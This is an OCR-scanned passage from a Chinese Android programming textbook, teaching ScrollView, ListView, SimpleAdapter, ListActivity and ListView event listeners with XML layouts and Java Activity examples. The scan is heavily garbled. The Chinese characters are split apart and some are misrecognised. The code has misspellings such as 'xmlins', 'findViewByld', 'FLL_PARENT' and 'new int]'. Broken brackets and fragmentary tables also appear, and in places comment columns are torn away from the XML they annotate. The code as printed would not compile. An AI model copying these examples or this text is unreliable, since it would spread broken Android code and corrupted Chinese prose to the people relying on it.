下 面 使 用 ScrollView 定义 一 个 滚动 视图 ， 由 于 本 程序 要 使 用 多 个 组 件 以 显示 滚动 的 效果 ， 
所 以 首先 将 定义 一 个 内 购 的 线性 布局 管理 器 , 而 所 有 的 组 件 直接 使 用 Activity 程序 加 入 到 此 线性 
布局 中 。 

【 例 7-2】 在 main.xml 文件 中 定义 滚动 视图 组 件 

<?xml version="1.0" encoding="utf-8"?> 


<ScrollView // 定 义 滚动 视图 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/myscroll” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 赃 线 性 布局 管理 器 
xmins:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/mylinear” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
</LinearLayout> 
</ScrollView> 


上 述 程序 只 是 建立 了 滚动 视图 的 基本 模型 , 而 后 要 在 Activity 程序 中 采用 循环 的 方式 向 此 布 

局 管理 器 中 增加 所 需要 的 多 个 组 件 。 
【 例 7-3】 编写 Activity 程序 ， 加 入 多 个 组 件 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.ViewGroup; 

import android.widget.Button; 
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import android.widget.LinearLayout; 
public class MyScrollViewDemo extends Activity { 
private String data[] = { "北京 魔 乐 科技 ", "www.mldnjava.cn", "讲师 : 李兴华 "， 
"中 国 高 校 讲课 联盟 ", "wwwjiangker.com", "咨询 邮箱 : mldnqa@163.com"， 
"客户 服务 : mldnkf@163.com", "客户 电话 : (010) 51283346"," 魔 乐 社区 : bbs. 
mldn.cn", 
"程序 员 招 聘 网 : http:/wwwjavajob.cn/" }; /定义 显示 的 数据 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 文件 
LinearLayout layout = (LinearLayout) super.findViewByld(R.id.myinean) ; 
LinearLayout.LayoutParams param = new LinearLayout.LayoutParams( 
ViewGroup.LayoutParams.FLL_PARENT 
ViewGroup.LayoutParams.WRAP_CONTENT); /定义 布局 参数 
for (int x = 0; x < this.data.length; x++){ 


Button but = new Button(this) ; // 创 建 按钮 组 件 
but.setText(this.data[x]); // 设 置 文本 
layout.addView(but,param) ; /增加 组 件 


} 
: 1 
本 程序 将 在 线性 布局 管理 器 中 增加 多 个 按钮 , 每 个 按钮 上 的 显示 文字 都 在 字符 串 数组 (data) 
中 进行 定义 ,之 后 通过 findViewById0 方 法 取得 内 嵌 布 局 管理 器 LinearLayout, 并 使 用 LinearLayout. 
LayoutParams 设置 了 组 件 布局 管理 器 的 布局 参数 ， 随 后 通过 循环 的 方式 生成 许多 Button 对 象 ， 
并 将 这 些 按钮 加 入 到 LinearLayout 中 进行 显示 。 程 序 的 运行 效果 如 图 7-2 所 示 。 
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北京 履 乐 科技 
www mldnjava.cn 
讲师 : 李兴华 
中 国 高 校 讲课 联盟 


wwwJiangkercom 


咨询 邮箱 : mldnqa@163.com 


图 7-2 ”滚动 视图 显示 
7.2 列表 显示 : ListView 


7.2.1 ListView 组 件 的 基本 使 用 


列表 组 件 ListView 与 滚动 视图 (ScrollView) 类 似 ， 可 以 将 多 个 组 件 加 入 到 ListView 中 以 
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达到 组 件 的 滚动 显示 效果 ，ListView 组 件 本 身 也 有 对 应 的 ListView 类 支持 ， 可 以 通过 操作 


ListView 类 完成 对 此 组 件 的 操作 。ListView 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.AdapterView<T extends android.widget.Adapter> 
b android.widget.AbsListView 


b android.widget.ListView 
ListView 类 本 身 也 有 多 种 方法 支持 ， 常 用 的 方法 如 表 7-1 所 示 。 


表 7-1 ListView 类 的 常用 方法 


描述 
创建 ListView 类 的 实例 化 对 象 
人 void setAdapter(ListAdapter adapter | 置 显示 的 数据 
| public ListAdapter getAdapter0) | ListAdapter getAdapter | ”普通 。 | 返回 ListAdapter 


public void setOnItemSelectedListener (AdapterView. 当选 项 选中 时 触发 此 事件 
OnlItemSelectedListener listener) 


在 Android 程序 中 ,用 户 可 以 直接 利用 ListView 保存 多 条 数据 ,但 是 这 些 数 据 与 使 用 Spinner 
组 件 一 样 ， 也 可 以 使 用 ArrayAdapter 类 进行 包装 ， 之 后 才 可 以 使 用 setAdapter() 方 法 添加 在 列表 
中 显示 。 

【 例 7-4】 编写 Activity 程序 ， 生 成 ListView 并 显示 数据 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.widget.ArrayAdapter; 

import android.widget.ListView; 

public class MyListViewDemo extends Activity { 

private String data[] = { "北京 魔 乐 科技 ", "www.mldnjava.cn"，" 讲 师 : 李兴华 "， 
"中 国 高 校 讲课 联盟 ", "www.jiangker.com", "咨询 邮箱 : mldnqa@163.com"， 
"客户 服务 : mldnkf@163.com", "客户 电话 : (010) 51283346"," 魔 乐 社区 : 


bbs.mldn.cn", 
"程序 员 招 聘 网 : http://www.javajob.cn/" }; /定义 显示 的 数据 
private ListView listView; /定义 ListView 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
this.listView = new ListView(this) ; 1/ 实例 化 组 件 
this.listView.setAdapter(new ArrayAdapter<String>(this, // 将 数据 包装 
android.R.layout.simple_expandable_list_item_1， /每 行 显示 一 条 数据 
this.data)); // 设 置 组 件 内 容 
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super.setContentView(this listView); // 将 组 件 添加 到 屏幕 中 
} 
} 
本 程序 中 首先 将 所 有 要 显示 的 数据 定义 成 了 一 个 字符 串 数组 (data), 之 后 利用 ArrayAdapter 
类 将 所 有 的 数据 进行 封装 ， 而 且 每 条 数据 都 各 占 一 行 (android.R.layout.simple expandable list_ 
item 1) 。 最 后 使 / Ob ListView 加 入 到 手机 界面 上 进行 显示 ， 程 序 的 运行 
效果 如 图 7-3 所 示 。 


人 0 注意 

本 程序 不 需要 main.xml 文件 的 配置 支持 。 

本 程序 是 通过 Activity 程序 进行 控制 的 , 之 后 通过 生成 ListView 对 象 的 形式 完成 , 所 以 在 
编写 代码 时 不 再 使 用 语句 super.setContentView(R.layout.main):。 


[ETTTTTE 


北京 魔 乐 科技 


www.mldnjava.cn 


中 国 高 校 讲课 联盟 


图 7-3 ListView 组 件 显示 
7.2.2 SimpleAdapter 类 


7.2.1 节 中 的 程序 只 是 显示 了 一 个 简单 的 ListView， 而 且 显示 的 数据 较 单 一 ， 如 果 希 望 可 以 
显示 更 加 丰富 的 站 4 ， 则 就 需要 使 用 SimpleAdapter 类 来 完成 操作 了 。SimpleAdapter 类 的 继承 结 
构 如 下 : 

java.lang.Object 


b android.widget.BaseAdapter 


b android.widget.SimpleAdapter 
SimpleAdapter 类 的 主要 功能 是 将 List 集合 的 数据 转换 为 ListView 出 以 支持 的 数据 ， 而 要 想 
实现 这 种 转换 ， 首 先 需 要 定义 一 个 数据 的 显示 模板 〈 专 门 定义 一 个 布局 管理 器 ， 多 数 采 用 表格 
布局 ) ， 在 这 一 模板 中 可 以 定义 ListView 每 一 行 所 需要 显示 的 所 有 组 件 ， 而 在 需要 转换 的 List 
集合 中 保存 的 是 多 条 Map 集合 的 数据 ， 这 些 Map 集合 中 保存 着 一 些 具体 的 要 显示 的 信息 ， 即 模 
板 中 每 一 个 组 件 的 ID 实际 上 就 相当 于 规定 了 里 面 保存 的 Map 集合 的 key， 而 模板 中 每 个 组 件 的 
显示 内 容 ， 则 由 Map 保存 的 value 决定 ， 如 图 7-4 所 示 。 
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布局 文件 定义 ”rr_ 后 一 一 一 一 一 一 一 1 
其 他 信息 | ,Mar 数据 人 图片 -资源 id 文 宇 -字符 审 -} 
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图 7-4 SimpleAdapter 转换 数据 


er 


-提示 
SimpleAdapter 不 是 唯一 的 选择 。 
读者 通过 SimpleAdapter 类 的 继承 结构 可 以 发 现 ，SimpleAdapter 类 是 BaseAdapter 类 的 
子 类 ， 而 BaseAdapter 类 又 是 ListAdapter 和 SpinnerAdapter 接口 的 子 类 ， 所 以 用 户 也 可 以 采 
用 自 定 义 BaseAdapter 子 类 的 方式 显示 这 种 显示 的 转换 操作 ， 但 是 这 种 转换 操作 代码 较 多 ， 
而 本 书 考虑 到 了 实用 性 ， 所 以 直接 采用 了 SimpleAdapter 类 进行 操作 。 对 于 如 何 自 定义 
BaseAdapter 类 实现 自 定 义 适配器 的 操作 ， 将 在 7.10 节 进 行 讲解 。 


在 SimpleAdapter 类 中 提供 的 常用 方法 如 表 7-2 所 示 。 
表 7-2 SimpleAdapter 类 的 常用 方法 


No. 描述 
public SimpleAdapter(Context context, 创建 SimpleAdapter 对 象 ， 需 要 传递 Context 
1 | List<? extends Dap ?>> data, int 造 对 象 、 封 装 的 List 集合 、 要 使 用 的 布局 文件 


ID、 需 要 显示 的 key (对 应 Map) 和 组 件 的 ID 


得 到 保存 集合 的 个 数 

取得 指定 位 置 的 对 象 

取得 指定 位 置 对 象 的 人 D 

当 列表 项 发 生 改变 时 , 通知 更 新 显示 ListView 
下 面 演 示 一 个 如 何 使 用 SimpleAdapter 定义 ListView 显示 数据 的 操作 , 而 要 想 实现 数据 的 显 

示 ， 首 先 需要 定义 一 个 ListView 数据 的 显示 模板 。 

【 例 7-5】 定义 数据 显示 模板 一 一 res\layout\data_list.xml 
<?xml version="1.0" encoding="utf-8"?> 


<TableLayout // 定 义 表格 布局 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 文字 高 度 
<TableRow> /定义 表格 行 
<ImageView /定义 图 片 显示 组 件 
android:id="@+id/icon”" // 组 件 ID， 程 序 中 使 用 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:layout_ width="wrap_content” /组件 宽度 为 图 片 宽度 
android:src="@drawable/file_icon"/> /| 组件 显示 图 片 
<TextView /定义 文本 显示 组 件 
android:id="@+id/_id”" /组件 ID， 程 序 中 使 用 
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android:textSize="15px” // 文 字 大 小 为 15 像素 
android:gravity="center_vertical” // 显 示 内 容 垂直 居中 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content"/> // 组 件 宽度 为 文字 宽度 
<TextView /定义 文本 显示 组 件 
android:id="@+id/name” // 组 件 ID， 程 序 中 使 用 
android:textSize="15px”" // 文 字 大 小 为 15 像素 
android:gravity="center_vertical” // 显 示 内 容 垂直 居中 
android:layout_height= "wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_width="wrap_content"/> /| 组件 宽度 为 文字 宽度 
</TableRow> 


</TableLayout> 
在 本 布局 文件 中 采用 了 表格 布局 ， 而 且 在 表格 布局 中 只 定义 了 一 个 表格 行 ， 即 此 表格 行 上 
的 显示 组 件 将 成 为 以 后 ListView 每 行 显示 的 数据 格式 。 


【 例 7-6】 定义 Activity 程序 的 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:layout_width="fill_parent” 1/ 组件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:textSize="25px" /文字 大 小 
android:gravity="center_horizontal” // 居 中 显示 
android:text=" 麻 所 稍 共 (MLDN ) 信息 列 甫 "/> /默认 显示 文字 
<ListView // 定 义 ListView 组 件 
android:id="@+id/datalist" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 


</LinearLayout> 
在 本 布局 管理 器 中 定义 了 一 个 ListView 组 件 ， 而 此 组 件 的 显示 内 容 将 通过 Activity 程序 进 
行 控制 。 
【 例 7-7】 定义 Activity 程序 ， 设 置 ListView 内 容 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ListView; 
import android.widget.SimpleAdapter 
public class MyListViewDemo extends Activity { 
private String data[[ = new String[0 {{ "01", "北京 魔 乐 科技 " }， 
{ "02", "www.mldnjava.cn" }, { "03", "讲师 : 李兴华 " }, 
{"04", "中 国 高 校 讲课 联盟 " }, { "05", "www.jiangker.com" }, 
{"06", "咨询 邮箱 : mldnqa@163.com" }, { "07", "客户 服务 : mldnkf@163.com" }， 
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{ "08", "客户 电话 : (010) 51283346" }, { "09", " 魔 乐 社区 : bbs.mldn.cn" }， 
{"10", "程序 员 招聘 网 : http://www.javajob.cn/" }}; /定义 显示 的 数据 
private List<Map<String, String>> list = 


new ArrayList<Map<String, String>>(); /保存 所 有 的 List 数据 
private ListView datalist; // 定 义 ListView 组 件 
private SimpleAdapter simpleAdapter = null; // 适 配器 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 将 组 件 添加 到 屏幕 之 中 
this.datalist = (ListView) super .findViewByld(R.id.datalist)”，// 取 得 ListView 组 件 
for (int x = 0; x < this.data.length; x++) { 1/ 循环 设置 数据 
Map<String, String> map = new HashMap<String, String>();// 定 义 Map 集合 
map.put("_id", data[x][0]); // 设 置 _id 组 件 显示 数据 
map.put("name", data[x][1]); // 设 置 name 组 件 显示 数据 
this.list.add(map); // 增 加 数据 
b 
this.simpleAdapter = new SimpleAdapter(this, // 实 例 化 SimpleAdapter 
this list， // 要 包装 的 数据 集合 
R.layout.data_list, // 要 使 用 的 显示 模板 
new String[] { "_id", "name" }, // 定 义 要 显示 的 Map 的 key 
new int] {R.id._id, R.id.name }); // 与 模板 中 的 组 件 匹 配 
this.datalist.setAdapter(this.simpleAdapter); // 设 置 显 示 数 据 


} 

} 

本 程序 首先 定义 了 一 个 data 数组 , 其 中 定义 了 所 有 要 显示 的 数据 , 要 想 正 确 地 通过 ListView 
显示 所 有 的 数据 , 则 需要 将 数据 封装 到 SimpleAdapter 类 中 , 而 SimpleAdapter 类 会 自动 将 在 List 
集合 中 保存 的 数据 以 规定 的 模板 〈data_list) 进行 数据 的 列表 。 在 实例 化 SimpleAdapter 类 时 所 
传 入 的 new String[] {"_id", "name”} 是 List 集合 中 所 保存 的 每 一 个 Map 的 key， 而 new int[] 
{Rid._id, Ridname } 是 模板 中 组 件 所 定义 的 组 件 ID， 即 SimpleAdapter 类 会 自动 将 Map 中 保存 
的 指定 key 的 value 内 容 设置 到 与 之 对 应 的 组 件 中 进行 显示 。 程 序 的 运行 效果 如 图 7-5 所 示 。 


CEETTTTTE 


图 7-5 使 用 SimpleAdapter 显示 数据 


以 上 完成 了 一 个 最 基本 的 数据 列表 显示 功能 , 但 是 使 用 过 Android 手机 的 用 户 应 该 都 见 过 如 
图 7-6 所 示 的 列表 信息 项 , 这 种 列表 信息 的 显示 项 可 以 为 用 户 提供 更 加 丰富 的 效果 ,下 面 就 通过 
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以 上 思路 实现 本 程序 。 


【 例 7-8】 定义 ListView 项 的 布局 管理 器 


图 7-6 复杂 列表 信息 项 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 


data list.xml 


// 线 性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="horizontal” 
android:layout_width="fill_parent" 
android:layout_height="fill parent"> 


<ImageView 


android:id="@+id/pic” 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:padding="3px"/> 


<LinearLayout 


/所 有 组 件 水 平 摆 放 


// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 


// 图 片 显示 

// 组 件 ID， 程 序 中 使 用 
/组件 宽度 为 图 片 宽度 
// 组 件 高 度 为 图 片 高 度 
// 间 距 为 3 像素 

// 内 赃 线 性 布局 管理 器 


xmins:android="http://schemas.android.com/apk/res/android" 


android:orientation="vertica/" 
android:layout_width="200px" 
android:layout_height="wrap_content” 
android:gravity="left"> 
<TextView 
android:id="@+id/title” 
android:padding="3px” 
android:textSize="16px” 


android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 


<TextView 
android:id="@+id/author" 
android:padding="3px” 
android:textSize="10px” 


/所 有 组 件 垂直 摆 放 


// 布 局 管理 器 宽度 为 200 像素 
// 布 局 管理 器 高 度 为 内 容 高 度 


/所 有 组 件 靠 左 对 齐 
/文本 显示 组 件 
/组件 ID， 程 序 中 使 用 
// 间 距 为 3 像素 
/文字 大 小 为 16 像素 
// 组 件 宽度 为 文字 宽度 
/组件 高 度 为 文字 高 度 
/文本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
// 间 距 为 3 像素 
/文字 大 小 为 10 像素 
// 组 件 宽度 为 文字 宽度 


android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 


1/ 组件 高 度 为 文字 高 度 


</LinearLayout> 
<LinearLayout 


/布局 管理 器 完结 
// 内 赃 布 局 管理 器 


xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="Vertical” 
android:layout_width="wrap_content”" 
android:layout_height="wrap_content” 


android:gravity="/left"> 


<TextView 


/所 有 组 件 垂 直 摆 放 


// 布 局 管理 器 宽度 为 内 容 宽度 
// 布 局 管理 器 高 度 为 内 容 高 度 


/所 有 组 件 左 对 齐 
/文本 显示 组 件 
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android:id="@+id/type” 
android:padding="3px” 
android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 


1/ 组件 iD， 程序 中 使 用 
// 间 距 为 3 像素 

// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
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<ImageView /图 片 组 件 
android:id="@+id/score” /组件 ID， 程 序 中 使 用 
android:padding="3px” // 间 距 为 3 像素 
android:layout_ width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 

</LinearLayout> 
</LinearLayout> 
本 布局 管理 器 嵌 套 了 两 个 线性 布局 管理 器 , 分 别 用 于 显示 图 7-6 所 示 的 文字 提示 信息 及 软件 


评分 信息 。 
【 例 7-9】 定义 主体 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:textSize="20px” /文字 大 小 
android:gravity="center_horizontal” // 居 中 显示 
android:text=" 麻 所 箭 共 ‘MLDN) 坑 鼎 烈 责 ' /> // 默 认 显 示 文 字 
<ListView // 定 义 ListView 组 件 
android:id="@+id/datalist" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 
</LinearLayout> 


【 例 7-10】 定义 Activity 程序 ， 设 置 显示 数据 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ListView'; 
import android.widget.SimpleAdapter 
public class MyListViewDemo extends Activity { 
private int[] pic = new int[l] { R.drawable.pic_oracle, 
R.drawable.pic_javase, R.drawable.pic_javaweb， 
R.drawable.pic_javaee, R.drawable.pic_android, 
R.drawable.pic_game }; // 显 示 图 片 
private String data[[] = new String[]0 { { "Oracle 数据 库 ", " 魔 乐 科技 " }， 
{ "Java SE 基础 课程 ", "李兴华 " }, { "Java WEB 综合 开发 ", "MLDN" }， 
{ "Java EE 高 级 开发 " "李兴华 " }, { "Android 该 入 式 开 发 " " 魔 乐 科技 " }， 


{ "Java 游戏 开发 ", "MLDN - 李 祺 " }}; // 定 义 显示 的 数据 
private List<Map<String, String>> list = 

new ArrayList<Map<String, String>>(); /保存 所 有 的 List 数据 
private ListView datalist; /定义 ListView 组 件 
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private SimpleAdapter simpleAdapter = null; // 适 配器 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /将 组 件 添加 到 屏幕 中 
this.datalist = (ListView) super findViewByld(R.id.datalist); // 取 得 ListView 组 件 
for (int x = 0; x < this.data.length; x++) { // 循 环 设置 数据 
Map<String, String> map = new HashMap<String, String>();// 定 义 Map 集合 
map.put("pic", String.valueOfthis.pic[x])); /设置 pic 显示 数据 
map.put("title", this.data[x][0]); /设置 title 显示 数据 
map.put("author", this.data[x][1]); // 设 置 author 显示 数据 
map.put("type", "免费 "); /设置 type 显示 数据 
map.put("score", String.valueOf(R.drawable.start_5)); /设置 score 显示 数据 
this.list.add(map); // 增 加 数据 
} 
this.simpleAdapter = new SimpleAdapter(this, /实例 化 SimpleAdapter 
this .list, // 要 包装 的 数据 集合 
R.layout.data_ist, // 要 使 用 的 显示 模板 


new String[] { "pic", "title", "author", "type", "score" }, // 定 义 显示 key 
new int] { R.id.pic, R.id.title, R.id.author, R.id.type, 
R.id.score}); /与 模板 中 的 组 件 匹配 
this.datalist.setAdapter(this.simpleAdapter); // 设 置 显 示 数 据 
} 
| 
本 程序 将 所 有 需要 的 图 片 信息 都 保存 在 了 drawable-hdpi 文件 夹 中 ， 而 后 考虑 到 代码 的 简洁 
性 ， 软 件 的 类 型 统一 设置 为 “免费 ”, 所 有 的 评分 成 绩 都 为 5 分 。 程序 的 运行 效果 如 图 7-7 所 示 。 


二 | | 


图 7-7 复杂 列表 
7.2.3 ListActivity 类 


之 前 所 使 用 的 ListView 组 件 是 直接 在 一 个 普通 的 Activity 程序 中 添加 的 ， 但 是 在 Android 
中 为 了 方便 ListView 的 显示 , 又 提供 了 另外 一 种 Activity 的 操作 类 一 一 ListActivity, 此 类 的 内 部 
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容纳 了 一 个 ListView 组 件 ， 所 以 直接 将 适当 的 数据 封装 后 加 入 到 该 组 件 中 就 可 以 完成 列表 显示 
的 功能 。ListActivity 的 继承 结构 如 下 : 
java.lang.Object 
b android.content.Context 
b android.content.ContextWrapper 
b android.view.ContextThemeWrapper 


b android.app.Activity 


b android.app.ListActivity 
通过 继承 结构 可 以 发 现 , ListActivity 是 Activity 的 子 类 , 所 以 在 开发 中 也 可 以 直接 让 一 个 类 
继承 ListActivity 类 进行 Android 程序 的 开发 ，ListActivity 类 中 提供 的 常用 方法 如 表 7-3 所 示 。 


表 7-3 ListActivity 类 的 常用 方法 
描述 
public void setListAdapter(ListAdapter adapter) 


设置 ListAdapter 集合 
得 到 所 设置 的 ListAdapter 
得 到 所 包含 的 ListView 组 件 


public ListAdapter getListAdapter() 普通 
public ListView getListViewO 


从 表 7-3 中 可 以 发 现 ， 如 果 现 在 希望 在 ListActivity 中 设置 显示 的 数据 内 容 ， 则 必须 使 用 
setListAdapter() 方 法 , 此 方法 中 接收 的 参数 是 ListAdapter 接口 的 实例 化 对 象 , 此 处 可 以 继续 使 用 
SimpleAdapter 子 类 完成 操作 。 下 面 通 过 一 个 程序 来 观察 如 何 使 用 ListActivity 类 进行 数据 显示 。 

【 例 7-11】 在 main.xml 文件 中 定义 显示 的 组 件 

<?xml version= "1.0" encoding="utf-8"?> 

<TableLayout /定义 表格 布局 

xmlins:android="http:/schemas.android.com/apk/res/android" 


android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content> // 布 局 管理 器 高 度 为 文字 高 度 
<TableRow> /定义 表格 行 
<ImageView // 定 义 图 片 显示 组 件 
android:id="@+id/icon" // 组 件 ID， 程 序 中 使 用 
android:layout_height= "wrap_content" // 组 件 高 度 为 图 片 高 度 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:src="@drawable/file_icon"/> // 组 件 显示 图 片 
<TextView // 定 义 文本 显示 组 件 
android:id="@+id/_id”" // 组 件 ID， 程 序 中 使 用 
android:textSize="12px" // 文 字 大 小 为 12 像素 
android:gravity="center_vertical" // 显 示 内 容 垂直 居中 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_ width="wrap_contenty> // 组 件 宽度 为 文字 宽度 
<TextView // 定 义 文本 显示 组 件 


android:id="@+id/name”" 
android:textSize="12px”" 
android:gravity="center_vertical" 


/组件 ID， 程 序 中 使 用 
/文字 大 小 为 12 像素 
/显示 内 容 垂 直 居中 
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android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_ width="wrap_contenty> // 组 件 宽度 为 文字 宽度 
</TableRow> 
</TableLayout> 


本 配置 文件 与 之 前 的 配置 文件 的 布局 完全 相同 ， 直 接 使 用 表格 布局 ， 而 且 每 个 ListView 显 
示 行 定义 了 3 个 组 件 : 一 个 ImageView 和 两 个 TextView 组 件 , 但 是 与 之 前 不 同 的 地 方 在 于 ， 本 
得 序 上 只 需要 一 个 布局 管理 器 。 
【 例 7-12】 定义 Activity 程序 ， 继 承 ListActivity 类 ， 通 过 SimpleAdapter 控制 组 件 的 内 容 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.List; 
import java.util.Map; 
import android.app.ListActivity; 
import android.os.Bundle; 
import android.widget.SimpleAdapter 
public class MyListViewDemo extends ListActivity { /| 继承 ListActivity 类 
private String data[[0 = new String[0 {{ "01", "北京 魔 乐 科技 " }, 
{"02", "www.mldnjava.cn" }, { "03", "讲师 : 李兴华 " }, 
国 高 校 讲课 联盟 " }, { "05", "www.jiangker.com" }, 
, "咨询 邮箱 : mldnqa@163.com" }, {"07", "客户 服务 : mldnkf@163.com" }， 
{ "08", "客户 电话 : (010) 51283346" }, { "09", " 魔 乐 社区 : bbs.mldn.cn" }， 
{"10", "程序 员 招聘 网 : http://www.javajob.cn/" }} /定义 显示 的 数据 
private List<Map<String, String>> list = 


new ArrayList<Map<String, String>>(); /保存 所 有 的 List 数据 
private SimpleAdapter simpleAdapter = null; // 适 配器 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


for (int x = 0; x < this.data.length; x++) { // 循 环 设置 数据 
Map<String, String> map = new HashMap<String, String>(); /定义 Map 集合 
map.put("_id", data[x][0]); 1/ 设置 _id 组 件 显示 数据 
map.put("name", data[x][1]); /设置 name 组 件 显示 数据 
this.list.add(map); /增加 数据 
this.simpleAdapter = new SimpleAdapter(this, /实例 化 SimpleAdapter 
this .list, // 要 包装 的 数据 集合 
R.layout.main, // 要 使 用 的 显示 模板 
new String[] { "_id", "name" }, // 定 义 要 显示 的 Map 的 key 
new int[] {R.id._id, R.id.name }); // 与 模板 中 的 组 件 匹配 
super.setListAdapter(this.simpleAdapter) ; // 设 置 显示 数据 


} 
i 
本 程序 首先 在 类 中 定义 了 一 个 数组 , 而 后 将 数组 中 的 数据 分 别 设置 到 了 不 同 的 Map 对 象 中 ， 
根据 要 显示 的 内 容 分 别 设置 不 同 的 key, 而 SimpleAdapter 所 需要 的 是 List 集合 数据 , 所 以 在 List 
集合 (all) 中 将 分 别 保存 多 个 Map 对 象 ， 而 当 实 例 化 SimpleAdapter 对 象 时 同时 传 入 了 List 集 
合 、 所 要 使 用 的 布局 管理 文件 (R.layoutmain) 、 要 取出 数据 的 key (对 应 每 个 Map 设置 的 key) 
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以 及 需要 设置 信息 的 组 件 了 P。 程 序 的 运行 效果 如 图 7-8 所 示 。 


图 7-8 使 用 ListActivity 显示 信息 


7.2.4 _ ListView 事件 处 理 


当 用 户 使 用 ListView 进行 数据 列表 显示 时 ， 也 可 以 进行 事件 处 理 操作 。ListView 组 件 类 中 的 
所 有 事件 处 理 操 作 都 是 通过 android.widgetAdapterView<T extends android.widget.Adapter> 类 继承 
下 来 的 ， 而 在 ListView 中 支持 的 事件 处 理 方法 如 表 7-4 所 示 。 


表 7-4 ListView 事件 处 理 方法 


No. 方 法 型 描 述 
" public void setOntemSelocted ristener(Adipter VIew: a 选中 选项 时 触发 
OnItemsSelectedListener listener 
2 public Yt i 单 击 选项 时 触发 
OnItemClickListener listener) 
3 public void setOnItemLongClickListener(AdapterView. 长 按 选 项 时 触发 


OnItemLongClickListener listener, 


表 7-4 中 分 别 定义 了 3 个 事件 监听 的 方法 , 而 这 3 个 方法 也 分 别 有 专 门 进行 事件 处 理 的 监听 
接口 ， 接 口 的 定义 介绍 如 下 。 
(1) 选中 ListView 项 监听 接口 : AdapterView.OnItemSelectedListener 
public interface AdapterView.OnltemSelectedListener { 


/ie 
* 选中 选项 时 触发 此 操作 
* @param parent 取得 AdapterView 对 象 
* @param view 取得 单 击 AdapterView 的 父 组 件 
* @param position 取得 Adapter 的 操作 位 置 
* @param id 取得 ListView 所 在 行 的 编号 
人 
public abstract void onltemSelected (AdapterView<?> parent, View view, int position, long id) ; 
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定位 置 的 选项 。 下 面 通过 一 个 具体 的 程序 演示 AdapterView.OnItemClickListener ( 单 直 


or 
* 没有 任何 选项 选中 时 触发 此 操作 
* @param parent 取得 AdapterView 对 象 
a 
